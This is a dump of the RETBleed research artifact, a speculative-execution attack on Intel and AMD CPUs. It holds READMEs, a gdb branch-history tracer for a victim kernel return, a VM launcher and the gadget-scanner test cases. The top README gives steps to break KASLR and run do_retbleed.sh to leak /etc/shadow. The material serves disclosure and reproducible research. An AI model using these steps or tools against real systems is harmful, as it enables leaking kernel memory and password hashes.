├── .gitmodules ├── LICENSE ├── README.md ├── bhb_generate ├── README.md ├── config.yaml ├── gdb_main.py └── run_vm.sh ├── gadget_scanner ├── README.md ├── gadget.py ├── test ├── testcases │ ├── Makefile │ ├── should_fail │ │ ├── Makefile │ │ ├── lost_rb01.c │ │ ├── lost_secret01.c │ │ ├── lost_src.c │ │ ├── lost_src02.c │ │ └── useless_src01.c │ └── should_pass │ │ ├── Makefile │ │ ├── displacement01.c │ │ ├── implicit_load01.c │ │ ├── propagate_rb01.c │ │ ├── propagate_secret01.c │ │ ├── propagate_src.c │ │ ├── propagate_src02.c │ │ ├── secret_first.c │ │ ├── simple01.c │ │ ├── simple02.c │ │ └── simple03.c └── vmlinux ├── misc ├── mem_pressure.c ├── run_parallel.sh └── show_config.sh ├── phantom_poc ├── Makefile ├── README.md ├── common.h ├── cp_bti.c └── kmod_retbleed_poc │ ├── Makefile │ ├── retbleed_poc.c │ └── retbleed_poc_ioctl.h ├── ret_finder ├── README.md ├── ebpf │ ├── my_bpf.py │ ├── sc_nargs.py │ └── trace_regs.c ├── funcgrap │ ├── Makefile │ ├── fgtrace.sh │ ├── funcgrap │ ├── funcgrap.c │ └── run_full_suite.sh ├── output.tar.gz ├── process_binary.sh └── tools │ └── trace_underfill.py ├── retbleed_intel ├── README.md ├── exploits │ ├── Makefile │ ├── break_kaslr.c │ ├── do_retbleed.sh │ ├── retbleed.c │ └── retbleed.h └── pocs │ ├── Makefile │ ├── common.h │ ├── cp_bti.c │ ├── eval_bw.c │ ├── kmod_retbleed_poc │ ├── Makefile │ ├── retbleed_poc.c │ └── retbleed_poc_ioctl.h │ └── ret_bti.c ├── retbleed_zen ├── README.md ├── exploits │ ├── Makefile │ ├── README.md │ ├── break_kaslr.c │ ├── do_retbleed.sh │ ├── noisy_neighbor.c │ ├── offsets_5_10_26_kwik.h │ ├── offsets_5_8_0_63_generic.h │ ├── retbleed.c │ ├── retbleed.h │ └── retbleed_zen.h └── pocs │ ├── Makefile │ ├── README.md │ ├── common.h │ ├── cp_bti.c │ ├── eval_bw.c │ ├── kmod_retbleed_poc │ ├── Makefile │ ├── retbleed_poc.c │ └── retbleed_poc_ioctl.h │ └── ret_bti.c ├── rsb_depth_check ├── .gitignore ├── Makefile ├── README.md ├── plot.py ├── pmu.c ├── pmu.h ├── ret_chain.c └── run_test.sh └── zen_ras_vs_btb ├── Makefile ├── common.h └── main.c /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "intel_framework/ltp"] 2 | path = ret_finder/ltp 3 | url = https://github.com/linux-test-project/ltp.git 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | RETBleed Artifact 2 | ----------------- 3 | 4 | Demo of leaking /etc/shadow contents on Intel and AMD 5 | https://www.youtube.com/watch?v=dmSPvJxPm80 6 | 7 | ## Reverse engineering 8 | - `./retbleed_zen/pocs/ret_bti` finds the patterns that cause BTB collisions. 9 | - `./retbleed_zen/pocs/cp_bti` shows that collisions happen across. 10 | - `./retbleed_intel/pocs/ret_bti` shows that returns go via BTB. 11 | - `./retbleed_intel/pocs/cp_bti` shows that we can train across kernel returns 12 | in user space. 13 | 14 | Refer to the manuals ([AMD](./retbleed_zen/pocs), [Intel](./retbleed_intel)). 15 | 16 | - [`./rsb_depth_check`](./rsb_depth_check) shows that there is an RSB 17 | that is used. And for Intel, it also indicates that some other prediction 18 | mechanism is taking place. 19 | - `./zen_ras_vs_btb` is illustrated in Figure 5. It shows that Return Addres 20 | Stack (RAS, aka RSB) is not used on Zen2 when there's a BTB entry. To 21 | evaluate Zen/+ `BTI_PATTERN` must be manualy changed. 22 | 23 | ## Framework 24 | 25 | Please refer to section 4.2 of the paper. 26 | 27 | 1. *Detecting vulnerable returns.* We do this with `./ret_finder/funcgraph` and `./ret_finder/tools/trace_underfill.py`. Refer to the [manual](./ret_finder). 28 | 2. *Identifying exploitable returns.* We do this in [`./ret_finder/ebpf`](./ret_finder#ebpfmy_bpfpy-detect-controllable-input). 29 | 3. *Finding compatible disclosure gadgets.* We do this in [`./gadget_scanner`](./gadget_scanner) 30 | 4. *Detecting branch history at the victim return.* We do this in [`./bhb_generate`](./bhb_generate) 31 | 32 | ## Evaluation. 33 | 34 | Make sure to use an affected system (ref. Table 1). 35 | 36 | We evaluate the following: 37 | 38 | 1. Leakage rate with ideal gadgets. 39 | 2. Leakage rate with our discovered gadgets 40 | 3. Leaking /etc/shadow 41 | 42 | ### Optimal leakage rate 43 | _Requires root and at least 1 huge page enabled._ 44 | We use `./{retbleed_zen,retbleed_intel}/pocs/eval_bw`, which depend on the 45 | gadgets in `./{retbleed_zen,retbleed_intel}/pocs/kmod_retbleed_poc`. We run 46 | `eval_bw` 11 times and use the median leakage rate and accuracy. To evaluate 47 | Zen/+, update `PWN_PATTERN` in `eval_bw.c`. 48 | 49 | ### Leakage rate with our discovered gadgets 50 | 51 | **AMD.** Go to `./retbleed_zen/exploits/`. To get kernel_text, run 52 | `./break_kaslr`. Then use the `./do_retbleed.sh`. 53 | 54 | ``` 55 | usage: ./do_retbleed.sh [core_id=0] [leak_perf] 56 | unless leak_perf is set (to anything), try to leak /etc/shadow 57 | ``` 58 | 59 | We run this 100 times and use the median leakage rate and accuracy of the runs 60 | that succeeded. 61 | 62 | 63 | **Intel.** Go to `./retbleed_intel/exploits/`. To get kernel_text, we use MDS, 64 | run ./break_kaslr on two threads on the same core. On a 6 core cpu it could be 65 | `taskset -c 1,7 ./break_kaslr`. Then use `./do_retbleed.sh` 66 | 67 | ``` 68 | usage: ./do_retbleed.sh [core_id=0] [--leak_perf] 69 | unless --leak_perf is set (to anything), try to leak /etc/shadow 70 | ``` 71 | 72 | ### Leaking /etc/shadow 73 | Same as above, but omit the last arg, `--leak_perf`. As shown in the demos, we can 74 | parallelize it to make it go faster. 75 | 76 | -------------------------------------------------------------------------------- /bhb_generate/README.md: -------------------------------------------------------------------------------- 1 | BHB generate 2 | ------------ 3 | 4 | Finds the branch history for a victim RET in the kernel using gdb. 5 | 6 | ### Steps 7 | 1. Set up a cloud image for example as described here https://powersj.io/posts/ubuntu-qemu-cli/ 8 | 2. Boot. `./run_vm.sh focal-server-cloudimg-amd64.img user_config.img`. 9 | 3. Install the victim kernel on guest. E.g., `5.8.0-63-generic`, which was the latest at 10 | the time of carrying out this work. Reboot. 11 | 4. Add the interested test case `rsync -e 'ssh -p 10021' recvmsg02 ubuntu@127.0.0.1:`. 12 | 5. Check the `_text` offset of the guest. `sudo grep \ _text /proc/kallsyms`. 13 | Update `KB` in `./gdb_main.py` with the found Kernel Base address. 14 | 6. In host run gdb, attach to guest: `target remote :1234` and `source gdb_main.py`. 15 | 7. The 29 last entries in log.txt is your BHB primer. 16 | -------------------------------------------------------------------------------- /bhb_generate/config.yaml: -------------------------------------------------------------------------------- 1 | #cloud-config 2 | password: asdfqwer 3 | chpasswd: { expire: False } 4 | ssh_pwauth: True 5 | # ssh_authorized_keys: 6 | # - ssh-rsa ... 7 | growpart: 8 | mode: auto 9 | devices: ['/'] 10 | ignore_growroot_disabled: false 11 | -------------------------------------------------------------------------------- /bhb_generate/gdb_main.py: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | import gdb 3 | 4 | KB_base = 0xffffffff81000000 5 | 6 | # XXX: can we get the KB someway with GDB? 7 | # Check where your kernel starts inside the guest, `grep ' _text$' 8 | # /proc/kallsyms` and put here. It's annoying -- sorry. 9 | KB = 0xffffffff93000000 10 | # By the way, we're hardcoded to target the ip6 gadget. 11 | 12 | def reg(name): 13 | return int(gdb.selected_frame().read_register(name)) 14 | 15 | # This didn't work at all. Lol 16 | class SilentStep(gdb.Command): 17 | def __init__(self): 18 | super (SilentStep, self).__init__ ("ssi", gdb.COMMAND_OBSCURE) 19 | def invoke(self, arg, from_tty): 20 | gdb.execute("si", from_tty=False, to_string=True) 21 | SilentStep() 22 | 23 | 24 | # ended up not using. but maybe fun to have. 25 | def irq_disable(): 26 | gdb.execute("call *0xffffffff81114410") 27 | def irq_enable(): 28 | gdb.execute("call *0xffffffff81113f10") 29 | 30 | class Offs: 31 | pvclock_clocksource_read = 0xffffffff81076a40 32 | ip6_local_out = 0xffffffff81adf410 33 | ip6_local_out_RET = 0xffffffff81adf454 34 | unk_intr_kmod = 0xffffffffc0002872 35 | unk_intr = 0xffffffff8155904d 36 | u__sysvec_apic_timer_interrupt = 0xffffffff810653c0 37 | asm_call_irq_on_stack = 0xffffffff81c010d0 38 | 39 | kvm_steal_clock = 0xffffffff81074dc0 40 | kvm_steal_clock_RET = 0xffffffff81074dfe 41 | 42 | kvm_clock_get_cycles = 0xffffffff81075c90 43 | kvm_clock_get_cycles_RET = 0xffffffff81075ca1 44 | 45 | kvm_sched_clock_read = 0xffffffff81075cb0 46 | kvm_sched_clock_read_RET = 0xffffffff81075cb9 47 | 48 | ktime_get_update_offsets_now = 0xffffffff81134c40 49 | ktime_get_update_offsets_now_RET = 0xffffffff81134d28 50 | 51 | 52 | hist_break = [ 53 | # { "disable": True, "name": "__do_softirq#call#wake_up_process", "stop_at":0xffffffff81e00282, "skip_to":0xffffffff81e00287 }, 54 | 55 | { "disable": False, "name": "try_to_wake_up#call#update_rq_clock", "stop_at": 0xffffffff810d619e, "skip_to": 0xffffffff810d61a3 }, 56 | 57 | # { "disable": True, "name": "try_to_wake_up#call#ttwu_do_activate", "stop_at": 0xffffffff810d61b0, "skip_to": 0xffffffff810d61b5, }, 58 | 59 | # { "disable": True, "name": "ttwu_do_wakeup#call#check_preempt_curr", "stop_at": 0xffffffff810d3fe9, "skip_to": 0xffffffff810d3fee, }, 60 | { "disable": False, "name": "check_preempt_curr#call#resched_curr", "stop_at": 0xffffffff810d3f89, "skip_to": 0xffffffff810d3f8e}, 61 | 62 | 63 | { "disable": False, "name": "psi_task_change", "stop_at": 0xffffffff810fdc00, "skip_to": 0xffffffff810fdc32, } 64 | ] 65 | 66 | for m in [attr for attr in dir(Offs) if not callable(getattr(Offs, attr)) and not attr.startswith("__")]: 67 | setattr(Offs, m, getattr(Offs, m) - KB_base + KB) 68 | for e in hist_break: 69 | e["stop_at"] = e["stop_at"] - KB_base + KB 70 | e["skip_to"] = e["skip_to"] - KB_base + KB 71 | # fix up for KASLR.. done.. 72 | 73 | 74 | CFG_EDGE = [ 75 | "ret", "retf", "retfq", 76 | "iret", "jae", "ja", "jbe", 77 | "jb", "jcxz", "jecxz", "je", 78 | "jge", "jg", "jle", "jl", 79 | "jmp", "jne", "jno", "jnp", "jns", 80 | "jo", "jp", "jrcxz", "js", "call" 81 | ] + [ # gdb-10 doesn't have these. gdb 9 does 82 | "retq", 83 | "callq", 84 | "jmpq" 85 | ] 86 | 87 | def insn_is_cfgedge(insn): 88 | mnemonic = insn["asm"].split(" ")[0] 89 | return mnemonic in CFG_EDGE 90 | 91 | 92 | class Mybreak(gdb.Breakpoint): 93 | def stop(self): 94 | gdb.execute(f"trace-pc-range {Offs.ip6_local_out_RET}") 95 | return False 96 | 97 | class LogCFEdges(gdb.Command): 98 | def __init__(self): 99 | super (LogCFEdges, self).__init__ ("trace-pc-range", gdb.COMMAND_OBSCURE) 100 | def invoke(self, arg, from_tty): 101 | 102 | argv = gdb.string_to_argv(arg) 103 | stop = int(argv[0],0) 104 | arch = gdb.selected_frame().architecture() 105 | # the next pc anticipated in this basic block. If the next pc turns out 106 | # to be a different value then we encountered a control flow edge which 107 | # we want to trace. 108 | current_pc = reg("pc") 109 | prev_insn = arch.disassemble(current_pc)[0] 110 | logfile = open("log.txt", "w+") 111 | 112 | gdb.execute("set pagination off") 113 | # skip over rdtsc part, avoid getting stuck 114 | bp = gdb.Breakpoint(f"*{Offs.kvm_clock_get_cycles_RET}") 115 | bp.enabled = False 116 | 117 | bp_kvm = gdb.Breakpoint(f"*{Offs.kvm_steal_clock_RET}") 118 | bp_kvm.enabled = False 119 | # b *0xffffffff81adf410 120 | # ret : 0xffffffff81adf454 121 | # irq_disable() 122 | dist = stop - reg("pc") 123 | print(f"{dist} instruction ahead is the stop") 124 | my_thread = gdb.selected_thread() 125 | 126 | bp.thread = my_thread.num 127 | bp_kvm.thread = my_thread.num 128 | logfile.write("start===================\n") 129 | while True: 130 | if my_thread.num != gdb.selected_thread().num: 131 | print("Why you switch??") 132 | break 133 | my_thread.switch() 134 | #gdb.execute("ssi", to_string=True) 135 | gdb.execute("si") 136 | prev_insn = arch.disassemble(current_pc)[0] 137 | current_pc = reg("pc") 138 | if current_pc == Offs.asm_call_irq_on_stack: 139 | print("Wow you're interruped") 140 | print(f"Check cur= {hex(current_pc)} prev= {hex(prev_insn['addr'])}") 141 | break 142 | if current_pc == Offs.u__sysvec_apic_timer_interrupt: 143 | print("Wow you're interruped") 144 | print(f"Check cur= {hex(current_pc)} prev= {hex(prev_insn['addr'])}") 145 | break 146 | ## if current_pc == 0xffffffff81076a55: 147 | ## print("FUCKL ME") 148 | ## break 149 | entry_triggered = None 150 | for entry in hist_break: 151 | if entry["disable"]: 152 | continue 153 | if entry["stop_at"] == current_pc: 154 | entry_triggered = entry 155 | if entry_triggered: 156 | e = entry_triggered 157 | print(f"BREAK HISTORY: {e['name']}") 158 | logfile.write(f" ?????? {hex(current_pc-KB)} {e['name']}\n") 159 | tmpbp = gdb.Breakpoint(f"*{e['skip_to']}", temporary=True) 160 | tmpbp.thread = my_thread.num 161 | gdb.execute("cont") 162 | current_pc = reg("pc") 163 | continue 164 | # if current_pc == 0xffffffff81e00282: 165 | # # this one makes it work but history too small 166 | # print("BREAK HISTORY") 167 | # tmpbp = gdb.Breakpoint("*$pc+5", temporary=True) 168 | # tmpbp.thread = my_thread.num 169 | # gdb.execute("cont") 170 | # continue 171 | if current_pc == (0xffffffff81131d55 - KB_base + KB): 172 | print("BREAK HISTORY") 173 | logfile.write(f" ?????? ") 174 | tmpbp = gdb.Breakpoint("*$pc+5", temporary=True) 175 | tmpbp.thread = my_thread.num 176 | gdb.execute("cont") 177 | current_pc = reg("pc") 178 | continue 179 | if current_pc == Offs.ktime_get_update_offsets_now: 180 | print("BREAK HISTORY") 181 | logfile.write(f" ?????? {hex(current_pc-KB)} Offs.ktime_get_update_offsets_now\n") 182 | tmpbp = gdb.Breakpoint(f"*{Offs.ktime_get_update_offsets_now_RET}", 183 | temporary=True) 184 | tmpbp.thread = my_thread.num 185 | gdb.execute("cont") 186 | current_pc = reg("pc") 187 | continue 188 | if current_pc == Offs.kvm_sched_clock_read: 189 | print("BREAK HISTORY") 190 | logfile.write(f" ?????? {hex(current_pc)} Offs.kvm_sched_clock_read\n") 191 | tmpbp = gdb.Breakpoint(f"*{Offs.kvm_sched_clock_read_RET}", 192 | temporary=True) 193 | tmpbp.thread = my_thread.num 194 | gdb.execute("cont") 195 | current_pc = reg("pc") 196 | continue 197 | if current_pc == Offs.kvm_steal_clock: 198 | print("BREAK HISTORY") 199 | logfile.write(f" ?????? {hex(current_pc)} Offs.kvm_steal_clock\n") 200 | bp_kvm.enabled = True 201 | bp_kvm.thread = my_thread.num 202 | gdb.execute("cont") 203 | bp_kvm.enabled = False 204 | current_pc = reg("pc") 205 | continue 206 | if current_pc == Offs.kvm_clock_get_cycles: 207 | print("BREAK HISTORY") 208 | logfile.write(f" ?????? {hex(current_pc)} Offs.kvm_clock_get_cycles\n") 209 | bp.enabled = True 210 | bp.thread = my_thread.num 211 | gdb.execute("cont") 212 | bp.enabled = False 213 | current_pc = reg("pc") 214 | continue 215 | if current_pc != prev_insn["addr"] + prev_insn["length"]: 216 | if not insn_is_cfgedge(prev_insn) or current_pc == Offs.unk_intr_kmod: 217 | tmp_bp = gdb.Breakpoint(f"*{prev_insn['addr'] + prev_insn['length']}", temporary=True) 218 | tmp_bp.thread = my_thread.num 219 | print(f"Interrupted! cur={hex(current_pc)} prev={hex(prev_insn['addr'])} {prev_insn['asm']}") 220 | logfile.write(f" ?????? {hex(current_pc)} Interrupt prev={hex(prev_insn['addr'])} {prev_insn['asm']}\n") 221 | gdb.execute("cont") 222 | current_pc = reg("pc") 223 | continue 224 | else: 225 | # new basic block. so we log src and dst (dst=current_pc) 226 | # src is assumed to be the last byte of the branch 227 | src = prev_insn["addr"] + prev_insn["length"] - 1 228 | dst = current_pc 229 | #msg = f" {{ .src={hex(src)}, .dst={hex(dst)} }}, // {hex(prev_insn['addr'])} {prev_insn['asm']}" 230 | msg = " { .src=0x%06x, .dst=0x%06x }, // 0x%06x %s" % (src-KB,dst-KB,prev_insn['addr']-KB,prev_insn['asm']) 231 | print(msg) 232 | logfile.write(msg+"\n") 233 | 234 | if prev_insn['addr'] == stop: 235 | print("Yes!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!") 236 | logfile.write(f"OK!\n") 237 | break 238 | gdb.execute("set pagination on") 239 | logfile.write("end========================\n") 240 | logfile.close() 241 | # irq_enable() 242 | LogCFEdges() 243 | 244 | #gdb.execute("target remote :1234") 245 | #IP6_GADGET = False 246 | IP6_GADGET = True 247 | if IP6_GADGET: 248 | print(f"*{Offs.ip6_local_out}") 249 | gdb.Breakpoint(f"*{Offs.ip6_local_out}", temporary=True) 250 | gdb.execute("cont") 251 | gdb.Breakpoint(f"*{0xffffffff81970852-KB_base+KB}", temporary=True) 252 | gdb.execute("cont") 253 | gdb.execute(f"trace-pc-range {0xffffffff81a8f290-KB_base+KB}") 254 | # gdb.execute("trace-pc-range 0xffffffff81adf454") 255 | else: 256 | handle_ioctl = 0xffffffffc0681420 - KB_base + KB 257 | go_home = handle_ioctl & 0xfffffffffffff000 - KB_base + KB 258 | reload_ = 0xffffffffc06815a1- KB_base + KB 259 | # a bit annoying because the module can get a different location every 260 | # boot, nokalsr does not really help. 261 | #gdb.Breakpoint(f"*{0xffffffff81305f45}", temporary=True) 262 | #gdb.Breakpoint(f"*{handle_ioctl}", temporary=True) 263 | gdb.Breakpoint(f"*{0xffffffff813915e0}", temporary=True) 264 | #gdb.Breakpoint(f"*{0xffffffffc04c742d}", temporary=True) 265 | #gdb.Breakpoint(f"*{0xffffffffc048942d}", temporary=True) 266 | gdb.execute("cont") 267 | print(f"HIT the BP @ {hex(handle_ioctl)}") 268 | gdb.execute(f"trace-pc-range {reload_}") 269 | #print(f"trace-pc-range {hex(go_home)}") 270 | 271 | -------------------------------------------------------------------------------- /bhb_generate/run_vm.sh: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | #!/bin/bash 3 | img=$1 4 | user=$2 5 | /usr/bin/qemu-system-x86_64 -drive "file=${img},format=qcow2" -drive "file=${user},format=raw" -s \ 6 | -m 2G \ 7 | -cpu host \ 8 | -smp 12 \ 9 | -net user,host=10.0.2.10,hostfwd=tcp:127.0.0.1:10021-:22 \ 10 | -net nic,model=e1000 \ 11 | -enable-kvm \ 12 | -nographic \ 13 | -pidfile vm.pid 2>&1 | tee erro.log 14 | -------------------------------------------------------------------------------- /gadget_scanner/README.md: -------------------------------------------------------------------------------- 1 | ## Retbleed Disclosure gadget scanner 2 | 3 | This is a basic scanner that we used in the retbleed paper. Note that a gadget 4 | scanner is useful for all BTI Spectre attacks, such as the recent BHI paper. 5 | 6 | ```sh 7 | pip install capstone 8 | # run the tests 9 | ./tests 10 | # run the scanner 11 | ./gadget.py vmlinux [start_va] 12 | ``` 13 | 14 | ### Test cases 15 | 16 | - `secret_first` currently fails. I never added support for this case 17 | - There's also no "manifest file" or some kind of metadata that says what 18 | control each test case is supposed to have. Instead, they are all assumed to 19 | have contorl over memory pointed to by `r13+0x8...r13+0x108` 20 | 21 | ### Reproduce our results 22 | For vulnerable return we had control over memory pointer to be 23 | `r14+0x8...0x108`. To find a disclosure gadget for this, uncomment L16 and 24 | comment out L17 in `gadget.py`. A vmlinux of 5.8-0-63-generic is provided. 25 | 26 | Then run `./gadget.py vmlinux 0xffffffff813db000`. Last argument is optional but 27 | speeds things up the search by starting near the gadget. 28 | -------------------------------------------------------------------------------- /gadget_scanner/test: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | make -C testcases 4 | 5 | BOLD="\e[1m" 6 | ENDB="\e[0m" 7 | ENDC="\033[0m$ENDB" 8 | 9 | OKGREEN="$BOLD\033[92m\033[7m" 10 | ERROR="$BOLD\033[91m\033[7m" 11 | 12 | function ok { 13 | echo -e ${OKGREEN} PASS ${ENDC} ${1} 14 | } 15 | 16 | function er { 17 | echo -e ${ERROR} FAIL ${ENDC} ${1} 18 | } 19 | 20 | for f in testcases/should_pass/bin/*; do 21 | bn=$(basename $f) 22 | >/dev/null ./gadget.py $f && ok "$bn" || er "$bn" 23 | done 24 | 25 | for f in testcases/should_fail/bin/*; do 26 | bn=$(basename $f) 27 | if >/dev/null ./gadget.py $f; then 28 | er "$bn" 29 | else 30 | ok "$bn" 31 | fi 32 | done 33 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | all: 3 | $(MAKE) -C ./should_pass 4 | $(MAKE) -C ./should_fail 5 | 6 | clean: 7 | $(MAKE) -C ./should_pass clean 8 | $(MAKE) -C ./should_fail clean 9 | 10 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/should_fail/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | CFLAGS := -O0 3 | 4 | SOURCES := $(wildcard *.c) 5 | 6 | paths := $(patsubst %.c,bin/%,$(SOURCES)) 7 | 8 | all: $(paths) 9 | 10 | clean: 11 | rm -f bin/* 12 | 13 | $(paths): bin/%: %.c 14 | $(CC) $(CFLAGS) -o $@ $< 15 | 16 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/should_fail/lost_rb01.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | int main(int argc, char *argv[]) 3 | { 4 | asm volatile("mov 0x20(%r13), %r14"); 5 | asm volatile("mov 0x28(%r13), %r15"); 6 | asm volatile("mov 0x30(%r13), %r13"); 7 | // r15 can no longer be used as rb 8 | asm volatile("mov (%r15), %ax"); 9 | asm volatile("mov (%r15, %rax), %rax"); 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/should_fail/lost_secret01.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | int main(int argc, char *argv[]) 3 | { 4 | asm volatile("mov %r13, %r11"); 5 | asm volatile("mov 0x20(%r13), %r11w"); 6 | asm volatile("mov %r12, %r13"); 7 | asm volatile("mov 0x28(%r11), %r15"); 8 | asm volatile("xor %r15, %r15"); 9 | asm volatile("mov (%r15), %ax"); 10 | asm volatile("mov (%r14, %rax), %rax"); 11 | return 0; 12 | } 13 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/should_fail/lost_src.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | int main(int argc, char *argv[]) 3 | { 4 | asm volatile("mov %r13, %r11"); 5 | asm volatile("mov 0x20(%r11), %r14"); 6 | asm volatile("mov %r12, %r11"); 7 | asm volatile("mov %r12, %r13"); 8 | asm volatile("mov 0x28(%r11), %r15"); 9 | asm volatile("mov (%r15), %ax"); 10 | asm volatile("mov (%r14, %rax), %rax"); 11 | return 0; 12 | } 13 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/should_fail/lost_src02.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | int main(int argc, char *argv[]) 3 | { 4 | asm volatile("mov %r13, %r11"); 5 | asm volatile("mov 0x20(%r13), %r11w"); 6 | asm volatile("mov %r12, %r13"); 7 | asm volatile("mov 0x28(%r11), %r15"); 8 | asm volatile("mov (%r15), %ax"); 9 | asm volatile("mov (%r14, %rax), %rax"); 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/should_fail/useless_src01.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | int main(int argc, char *argv[]) 3 | { 4 | asm volatile("mov 0x20(%r13), %r14"); //<- useless source 5 | asm volatile("mov 0x20(%r13), %r12"); 6 | asm volatile("mov 0x28(%r13), %r15"); 7 | asm volatile("movzx (%r14), %eax"); 8 | asm volatile("mov %rax, (%rax, %r12)"); // r12==r14. it cannot be used as rb 9 | return 0; 10 | } 11 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/should_pass/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: GPL-3.0-only 2 | CFLAGS := -O0 3 | 4 | SOURCES := $(wildcard *.c) 5 | 6 | paths := $(patsubst %.c,bin/%,$(SOURCES)) 7 | 8 | all: $(paths) 9 | 10 | clean: 11 | rm -f bin/* 12 | 13 | 14 | $(paths): bin/%: %.c 15 | $(CC) $(CFLAGS) -o $@ $< 16 | 17 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/should_pass/displacement01.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | int main(int argc, char *argv[]) 3 | // r13 = MemPtr(); 4 | { 5 | // MemPtr = r13, off=0x20 ; MemChunk is at r13+0x20 6 | // 7 | // PtrReg = r14, d=0x10, ptr=MemPtr(r13,0x20, mem) 8 | asm volatile("mov 0x30(%r13), %r14"); 9 | 10 | // find MemPtrs with r13, off += 0x100 => MemPtr(r13, 0x120) 11 | asm volatile("sub $0x100, %r13"); 12 | 13 | // find MemPtrs with r13, off += 0x100 => MemPtr(r13, 0x120) 14 | /* asm volatile("xor $0x100, %r13"); */ 15 | 16 | // PtrReg = r15, d=0x08, ptr=MemPtr(r13,0x120) 17 | asm volatile("mov 0x128(%r13), %r15"); 18 | 19 | /* mov 0, r13 => Regs.r13 = dead() */ 20 | // 21 | // Go to PtrRegs find MemPtrs if uses Regs.r13 (noone does because 22 | // r13 is dead(). 23 | /* add 0x3, %r13 */ 24 | 25 | 26 | // LeakRegs(rax, ptr=PtrReg) 27 | asm volatile("mov (%r15), %ax"); 28 | 29 | asm volatile("mov (%r14, %rax), %rax"); 30 | return 0; 31 | } 32 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/should_pass/implicit_load01.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | int main(int argc, char *argv[]) 3 | { 4 | asm volatile("mov 0x20(%r13), %r14"); 5 | asm volatile("mov 0x28(%r13), %r15"); 6 | asm volatile("xor (%r14), %bx"); 7 | asm volatile("mov %rax, (%rbx, %r15)"); 8 | return 0; 9 | } 10 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/should_pass/propagate_rb01.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | int main(int argc, char *argv[]) 3 | { 4 | asm volatile("mov %r13, %r11"); 5 | asm volatile("mov 0x20(%r11), %r14"); 6 | asm volatile("mov 0x28(%r13), %r13"); 7 | asm volatile("mov %r13, %r15"); 8 | asm volatile("mov (%r15), %ax"); 9 | asm volatile("mov (%r14, %rax), %rax"); 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/should_pass/propagate_secret01.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | int main(int argc, char *argv[]) 3 | { 4 | asm volatile("mov 0x20(%r13), %r14"); 5 | asm volatile("mov 0x28(%r13), %r15"); 6 | asm volatile("mov %rdx, %r13"); 7 | asm volatile("mov (%r15), %ax"); 8 | asm volatile("mov %rax, %rbx"); 9 | asm volatile("mov (%r14, %rbx), %rax"); 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/should_pass/propagate_src.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | int main(int argc, char *argv[]) 3 | { 4 | asm volatile("mov %r13, %r11"); 5 | asm volatile("mov 0x20(%r11), %r14"); 6 | asm volatile("mov 0x28(%r11), %r15"); 7 | asm volatile("mov (%r15), %ax"); 8 | asm volatile("mov (%r14, %rax), %rax"); 9 | return 0; 10 | } 11 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/should_pass/propagate_src02.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | int main(int argc, char *argv[]) 3 | { 4 | asm volatile("mov %r13, %r11"); 5 | asm volatile("mov 0x20(%r11), %r14"); 6 | asm volatile("mov 0x28(%r13), %r15"); 7 | asm volatile("mov (%r15), %ax"); 8 | asm volatile("mov (%r14, %rax), %rax"); 9 | return 0; 10 | } 11 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/should_pass/secret_first.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | // leak secret before dereferencing rb 3 | int main(int argc, char *argv[]) 4 | { 5 | asm volatile("mov 0x20(%r13), %r14"); 6 | asm volatile("movzx (%r14), %eax"); 7 | asm volatile("mov 0x28(%r13), %r15"); 8 | asm volatile("add %rax, %r14"); 9 | asm volatile("mov %rax, (%rax)"); 10 | return 0; 11 | } 12 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/should_pass/simple01.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | int main(int argc, char *argv[]) 3 | { 4 | asm volatile("mov 0x20(%r13), %r14"); 5 | asm volatile("mov 0x28(%r13), %r15"); 6 | asm volatile("mov (%r15), %ax"); 7 | asm volatile("mov (%r14, %rax), %rax"); 8 | return 0; 9 | } 10 | -------------------------------------------------------------------------------- /gadget_scanner/testcases/should_pass/simple02.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-3.0-only 2 | int main(int argc, char *argv[]) 